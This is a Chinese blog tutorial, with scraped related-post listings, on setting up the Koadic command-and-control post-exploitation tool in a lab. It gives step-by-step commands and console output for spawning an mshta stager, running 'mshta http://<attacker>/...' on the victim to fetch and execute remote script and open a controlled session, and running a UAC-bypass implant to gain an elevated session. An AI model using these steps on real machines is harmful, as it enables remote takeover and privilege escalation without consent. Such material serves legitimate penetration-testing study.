概述

Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript、jscript进行大部分操作

环境准备

我准备的是两台虚拟机一台kali就是攻击机器
一台windows7 64位就是受害者了

安装

安装很简单

git clone https://github.com/zerosum0x0/koadic.git

之后安装依赖

cd koadic/
pip install -r requirements.txt

使用

运行

./koadic

                            .
/ \
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ \ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~\====/~ O -{ COM Command & Control }-
Windows Post-Exploitation Tools
Endless Intellect ~[ Version: 0x8 ]~
~[ Stagers: ]~
~[ Implants: ]~ (koadic: sta/js/mshta)#

首先我们得知道这个工具的几个概念

  • Stagers 就是在你攻击的机器上生成的payload的种类
  • Implants 就是当你控制机器后可以进行的操作

具体Stagers和Implants你可以看它的github页面
https://github.com/zerosum0x0/koadic

接着我们执行

use stager/js/mshta

就是使用mshta这个stager
之后设置本机的端口和ip,进行本地监听
你可以输入info命令来查看要设置的参数

set LHOST 192.168.1.104
set LPORT

接着运行

run
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.104:9999/BYhBU
[>] mshta http://192.168.1.104:9999/BYhBU

因为是后渗透工具,所以不管怎么说你肯定能在你控制的电脑上执行一条命令

在受害者机器上执行

mshta http://192.168.1.104:9999/BYhBU

我的话直接打开一个cmd执行就好了
接着会有一个python字符的坑,会出现下面这个错

(koadic: sta/js/mshta)# ----------------------------------------
Exception happened during processing of request from ('192.168.1.110', )
Traceback (most recent call last):
File "/usr/lib/python2.7/SocketServer.py", line , in process_request_thread
self.finish_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line , in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python2.7/SocketServer.py", line , in __init__
self.handle()
File "/root/koadic/core/handler.py", line , in handle
return BaseHTTPRequestHandler.handle(self)
File "/usr/lib/python2.7/BaseHTTPServer.py", line , in handle
self.handle_one_request()
File "/usr/lib/python2.7/BaseHTTPServer.py", line , in handle_one_request
method()
File "/root/koadic/core/handler.py", line , in do_POST
self.session.parse_user_info(data)
File "/root/koadic/core/session.py", line , in parse_user_info
data = data.decode().split("~~~")
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)
----------------------------------------
[!] Zombie : Timed out.

就是下面这个错误

UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)

你只要把字符编码换成utf-8就好了

怎么做呢看下面
首先退出程序
打开下面这个文件

vim koadic

添加上

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

总的文件是下面这个样子的

#!/usr/bin/env python

import sys
reload(sys)
sys.setdefaultencoding('utf-8')
# Copyright (c) - RiskSense, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use the software except in compliance with the License.
#
# You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations under
# the License. # Disclaimer:
# Usage of Koadic for attacking targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state,
# federal, and international laws. Developers assume no liability and are not
# responsible for any misuse or damage caused by this program. __version_info__ = (, )
__version__ = "x".join(map(str, __version_info__))
__license__ = "Apache 2.0"
__credits__ = ["zerosum0x0", "jmage", "TheNaterz", "aleph-naught-"] if __name__ == "__main__":
import core.shell banner = open("data/banner.txt", "rb").read().decode("unicode_escape") shell = core.shell.Shell(banner, __version__)
shell.run()

之后重新进行上面的操作就不会报错了

                            .
/ \
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ \ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~\====/~ O -{ COM Command & Control }-
Windows Post-Exploitation Tools
Endless Intellect ~[ Version: 0x8 ]~
~[ Stagers: ]~
~[ Implants: ]~ (koadic: sta/js/mshta)# use stager/js/mshta
(koadic: sta/js/mshta)# set LHOST 192.168.1.104
[+] LHOST => 192.168.1.104
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.104:9999/N435X
[>] mshta http://192.168.1.104:9999/N435X
[+] Zombie : Staging new connection (192.168.1.110)
[+] Zombie : WIN-HK90RUM6L1B\bboysoul @ WIN-HK90RUM6L1B -- Microsoft Windows 专业版
(koadic: sta/js/mshta)#

之后我们进行权限提升也就是uac bypass

输入zombies来查看我们控制的机器

(koadic: sta/js/mshta)# zombies 

    ID   IP              STATUS  LAST SEEN
--- --------- ------- ------------
192.168.1.110 Alive -- :: Use "zombies ID" for detailed information about a session.

输入zombies 0可以查看这台机器的详细信息

(koadic: sta/js/mshta)# zombies 

    ID:
Status: Alive
Last Seen: -- :: IP: 192.168.1.110
User: WIN-HK90RUM6L1B\bboysoul
Hostname: WIN-HK90RUM6L1B
Primary DC: Unknown
OS: Microsoft Windows 专业版
OSArch: -bit
Elevated: No User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.; SLCC2; .NET CLR 3.5.; .NET CLR 3.0.; Media Center PC 6.0)
Session Key: f4d7735b8a9d45a5a74ed5a63a164421 JOB NAME STATUS ERRNO
---- --------- ------- -------

可以看到Elevated这里显示no表示我们没有进行提权
输入

use implant/elevate/bypassuac_eventvwr

查看一下这个模块的信息

(koadic: imp/ele/bypassuac_eventvwr)# info

    NAME        VALUE           REQ     DESCRIPTION
----- ------------ ---- -------------
PAYLOAD yes run payloads for a list
ZOMBIE ALL yes the zombie to target

这里我们把payload和zombie设置为0,就是表示payload为0不使用,zombie的编号为0
接着run就好了

(koadic: imp/ele/bypassuac_eventvwr)# run
[*] Zombie : Job (implant/elevate/bypassuac_eventvwr) created.
[+] Zombie : Job (implant/elevate/bypassuac_eventvwr) completed.
[+] Zombie : Staging new connection (192.168.1.110)
[+] Zombie : WIN-HK90RUM6L1B\bboysoul* @ WIN-HK90RUM6L1B -- Microsoft Windows 专业版

成功
但是注意的是程序新建立了一个链接来bypass所以原来那个zombie连接虽然存在但是还是没有进行提权的用户,新建的那个连接才是进行提权过的用户,不信输入zombie看一下是不是多出了一个链接

(koadic: imp/ele/bypassuac_eventvwr)# zombies 

    ID   IP              STATUS  LAST SEEN
--- --------- ------- ------------
192.168.1.110 Alive -- ::
* 192.168.1.110 Alive -- :: Use "zombies ID" for detailed information about a session.

看一下zombie 1的信息

(koadic: imp/ele/bypassuac_eventvwr)# zombies 

    ID:
Status: Alive
Last Seen: -- :: IP: 192.168.1.110
User: WIN-HK90RUM6L1B\bboysoul*
Hostname: WIN-HK90RUM6L1B
Primary DC: Unknown
OS: Microsoft Windows 专业版
OSArch: -bit
Elevated: YES! User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.; SLCC2; .NET CLR 3.5.; .NET CLR 3.0.; Media Center PC 6.0)
Session Key: c42dec18786a47f2bc4ee023dc8f69bd JOB NAME STATUS ERRNO
---- --------- ------- -------

是提权成功的
提权成功之后的机器我们可以使用implant里所有的模块,具体的模块自己研究吧

Koadic的安装和使用的更多相关文章

  1. Koadic的安装和使用---http c2远控工具

    Koadic的安装和使用 2017.11.26 11:02 字数 690 阅读 611评论 0喜欢 2   概述 Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript.jscr ...

  2. windows提权辅助工具koadic

    项目地址:https://github.com/zerosum0x0/koadic ┌─[root@sch01ar]─[/sch01ar] └──╼ #git clone https://github ...

  3. 有趣的后渗透工具 Koadic

    koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和msf有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进 ...

  4. 带你了解后渗透工具Koadic

    前言: 在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧. 首先把项目克隆到本地: 项目地址 ...

  5. docker——容器安装tomcat

    写在前面: 继续docker的学习,学习了docker的基本常用命令之后,我在docker上安装jdk,tomcat两个基本的java web工具,这里对操作流程记录一下. 软件准备: 1.jdk-7 ...

  6. 网络原因导致 npm 软件包 node-sass / gulp-sass 安装失败的处理办法

    如果你正在构建一个基于 gulp 的前端自动化开发环境,那么极有可能会用到 gulp-sass ,由于网络原因你可能会安装失败,因为安装过程中部分细节会到亚马逊云服务器上获取文件.本文主要讨论在不变更 ...

  7. Sublime Text3安装JsHint

    介绍 Sublime Text3使用jshint依赖Nodejs,SublimeLinter和Sublimelinter-jshint. NodeJs的安装省略. 安装SublimeLinter Su ...

  8. Fabio 安装和简单使用

    Fabio(Go 语言):https://github.com/eBay/fabio Fabio 是一个快速.现代.zero-conf 负载均衡 HTTP(S) 路由器,用于部署 Consul 管理的 ...

  9. gentoo 安装

    加载完光驱后 1进行ping命令查看网络是否通畅 2设置硬盘的标识为GPT(主要用于64位且启动模式为UEFI,还有一个是MBR,主要用于32位且启动模式为bois) parted -a optima ...

随机推荐

  1. HashMap的四种遍历!

    HashMap的四种遍历 import java.util.Collection; import java.util.HashMap; import java.util.Map; import jav ...

  2. JavaScript闭包、Object对象

    JavaScript闭包 定义:闭包指一个拥有许多变量和绑定这些变量的环境的表达式(通常是一个函数),因而这些变量也是该表达式的一部分. function a(){ var i=0; function ...

  3. 《人性与暴力-论暴力侵略》ER

    card level 人名卡 反常识卡 世界发生了什么? - 信息爆炸 信息与信任构成了人类发展两大命题 人性史与暴力史 未来世界会变得怎么样?- 历史不会重复,但会押韵.暴力呈现下降. 改变世界的三 ...

  4. Ta说:2016微软亚洲研究院第二届博士生论坛

    ​ "聚合多元人才创造无尽可能,让每一位优秀博士生得到发声成长机会"可以说是这次微软亚洲研究院博士生论坛最好的归纳了.自去年首次举办以来,这项旨在助力青年研究者成长的项目迅速得到了 ...

  5. LeetCode~941.有效的山脉数组

    941.有效的山脉数组 给定一个整数数组 A,如果它是有效的山脉数组就返回 true,否则返回 false. 让我们回顾一下,如果 A 满足下述条件,那么它是一个山脉数组: A.length > ...

  6. Ubuntu19.10安装OMNeT++ (omnetpp-5.6)中遇到的问题

    在官网上下载对应版本的安装包,里面有说明性的文档,先在第五章ubuntu那里配置好前期的环境,再到linux那一章,看进行安装,本文即从这里开始记录. 安装包中的文档目录为:omnetpp-5.6/d ...

  7. windows下用Python把pdf文件转化为图片

    依赖:PyMuPDF(pip install pymupdf) # -*- coding: utf-8 -*- """ 1.安装库 pip install pymupdf ...

  8. appium+python自动化实践之查找元素的等待方式笔记

    元素等待作用 设置元素等待,可以更加灵活的制定等待定位元素的时间,从而增强脚本的健壮性,提高执行效率. 元素等待类型 强制等待:设置固定等待时间,使用sleep()方法即可实现 from time i ...

  9. Nginx之反向代理配置(一)

    前文我们聊了下Nginx作为web服务器配置https.日志模块的常用配置.rewrite模块重写用户请求的url,回顾请参考https://www.cnblogs.com/qiuhom-1874/p ...

  10. Markdown 语法简要规则

    Markdown简介 Markdown 是一种轻量级的「标记语言」,它的优点很多,目前也被越来越多的写作爱好者,撰稿者广泛使用.看到这里请不要被「标记」.「语言」所迷惑,Markdown 的语法十分简 ...